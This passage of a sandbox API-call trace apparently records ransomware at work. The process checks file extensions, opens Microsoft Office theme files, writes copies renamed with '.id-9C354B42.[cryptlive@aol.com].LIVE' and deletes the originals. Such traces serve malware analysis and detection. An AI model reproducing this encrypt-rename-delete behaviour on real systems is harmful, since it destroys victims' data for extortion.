Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString=".doc") returned 4 [0136.193] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".docx") returned 5 [0136.193] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.193] lstrlenW (lpString=".pdf") returned 4 [0136.193] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".xls") returned 4 [0136.193] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".xlsx") returned 5 [0136.193] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.193] lstrlenW (lpString=".ppt") returned 4 [0136.193] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString=".zip") returned 4 [0136.193] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".rar") returned 4 [0136.193] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".bz2") returned 4 [0136.194] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.194] lstrlenW (lpString=".7z") returned 3 [0136.194] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.194] lstrlenW (lpString=".dbf") returned 4 [0136.194] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.194] lstrlenW (lpString=".1cd") returned 4 [0136.194] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.194] lstrlenW (lpString=".jpg") returned 4 [0136.194] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.194] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.194] lstrlenW (lpString="Foundry.eftx") returned 12 [0136.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.288] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=18226) returned 1 [0136.288] CloseHandle (hObject=0x3b0) returned 1 [0136.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0136.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.289] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.289] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.291] GetLastError () returned 0x0 [0136.291] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x4732, lpOverlapped=0x0) returned 1 [0136.294] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x4740, lpOverlapped=0x0) returned 1 [0136.295] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.295] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.295] SetEndOfFile (hFile=0x3ac) returned 1 [0136.295] CloseHandle (hObject=0x3ac) returned 1 [0136.296] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.296] SetEndOfFile (hFile=0x3b0) returned 1 [0136.300] CloseHandle (hObject=0x3b0) returned 1 [0136.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.302] lstrlenW (lpString=".doc") returned 4 [0136.302] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".docx") returned 5 [0136.302] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.302] lstrlenW (lpString=".pdf") returned 4 [0136.302] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".xls") returned 4 [0136.302] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".xlsx") returned 5 [0136.302] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.302] lstrlenW (lpString=".ppt") returned 4 [0136.302] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.302] lstrlenW (lpString=".zip") returned 4 [0136.302] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".rar") returned 4 [0136.302] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".bz2") returned 4 [0136.302] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.302] lstrlenW (lpString=".7z") returned 3 [0136.302] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".dbf") returned 4 [0136.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".1cd") returned 4 [0136.303] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".jpg") returned 4 [0136.303] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".doc") returned 4 [0136.303] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".docx") returned 5 [0136.303] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.303] lstrlenW (lpString=".pdf") returned 4 [0136.303] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".xls") returned 4 [0136.303] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".xlsx") returned 5 [0136.303] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.303] lstrlenW (lpString=".ppt") returned 4 [0136.303] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".zip") returned 4 [0136.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".rar") returned 4 [0136.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".bz2") returned 4 [0136.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.303] lstrlenW (lpString=".7z") returned 3 [0136.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.303] lstrlenW (lpString=".dbf") returned 4 [0136.304] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.304] lstrlenW (lpString=".1cd") returned 4 [0136.304] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0136.304] lstrlenW (lpString=".jpg") returned 4 [0136.304] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.304] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.304] lstrlenW (lpString="Hardcover.eftx") returned 14 [0136.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.305] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=350689) returned 1 [0136.305] CloseHandle (hObject=0x3b0) returned 1 [0136.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0136.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.306] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.306] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.306] GetLastError () returned 0x0 [0136.306] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x559e1, lpOverlapped=0x0) returned 1 [0136.316] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0136.376] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.376] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0136.376] SetEndOfFile (hFile=0x3ac) returned 1 [0136.376] CloseHandle (hObject=0x3ac) returned 1 [0136.377] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.377] SetEndOfFile (hFile=0x3b0) returned 1 [0136.387] CloseHandle (hObject=0x3b0) returned 1 [0136.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0136.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.388] lstrlenW (lpString=".doc") returned 4 [0136.388] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".docx") returned 5 [0136.388] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.388] lstrlenW (lpString=".pdf") returned 4 [0136.388] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".xls") returned 4 [0136.388] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".xlsx") returned 5 [0136.388] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.388] lstrlenW (lpString=".ppt") returned 4 [0136.388] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.388] lstrlenW (lpString=".zip") returned 4 [0136.388] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".rar") returned 4 [0136.388] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".bz2") returned 4 [0136.388] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString=".7z") returned 3 [0136.388] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.388] lstrlenW (lpString=".dbf") returned 4 [0136.388] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.388] lstrlenW (lpString=".1cd") returned 4 [0136.389] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.389] lstrlenW (lpString=".jpg") returned 4 [0136.389] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.389] lstrlenW (lpString=".doc") returned 4 [0136.389] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString=".docx") returned 5 [0136.389] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.389] lstrlenW (lpString=".pdf") returned 4 [0136.389] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString=".xls") returned 4 [0136.389] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString=".xlsx") returned 5 [0136.389] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.389] lstrlenW (lpString=".ppt") returned 4 [0136.389] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.389] lstrlenW (lpString=".zip") returned 4 [0136.389] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.389] lstrlenW (lpString=".rar") returned 4 [0136.389] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.390] lstrlenW (lpString=".bz2") returned 4 [0136.390] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.390] lstrlenW (lpString=".7z") returned 3 [0136.390] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.390] lstrlenW (lpString=".dbf") returned 4 [0136.390] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.390] lstrlenW (lpString=".1cd") returned 4 [0136.390] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0136.390] lstrlenW (lpString=".jpg") returned 4 [0136.390] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.390] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.390] lstrlenW (lpString="Metro.eftx") returned 10 [0136.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.527] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=24117) returned 1 [0136.527] CloseHandle (hObject=0x388) returned 1 [0136.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0136.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.567] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.567] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.568] GetLastError () returned 0x0 [0136.568] ReadFile (in: hFile=0x3a8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x5e35, lpOverlapped=0x0) returned 1 [0136.584] WriteFile (in: hFile=0x3b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0136.586] ReadFile (in: hFile=0x3a8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.586] WriteFile (in: hFile=0x3b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0136.586] SetEndOfFile (hFile=0x3b0) returned 1 [0136.586] CloseHandle (hObject=0x3b0) returned 1 [0136.586] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.586] SetEndOfFile (hFile=0x3a8) returned 1 [0136.589] CloseHandle (hObject=0x3a8) returned 1 [0136.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0136.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.610] lstrlenW (lpString=".doc") returned 4 [0136.610] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".docx") returned 5 [0136.610] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.610] lstrlenW (lpString=".pdf") returned 4 [0136.610] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".xls") returned 4 [0136.610] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".xlsx") returned 5 [0136.610] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.610] lstrlenW (lpString=".ppt") returned 4 [0136.610] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.610] lstrlenW (lpString=".zip") returned 4 [0136.610] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".rar") returned 4 [0136.610] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".bz2") returned 4 [0136.610] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString=".7z") returned 3 [0136.610] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.610] lstrlenW (lpString=".dbf") returned 4 [0136.610] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.610] lstrlenW (lpString=".1cd") returned 4 [0136.610] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".jpg") returned 4 [0136.611] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".doc") returned 4 [0136.611] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".docx") returned 5 [0136.611] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.611] lstrlenW (lpString=".pdf") returned 4 [0136.611] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".xls") returned 4 [0136.611] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".xlsx") returned 5 [0136.611] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.611] lstrlenW (lpString=".ppt") returned 4 [0136.611] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.611] 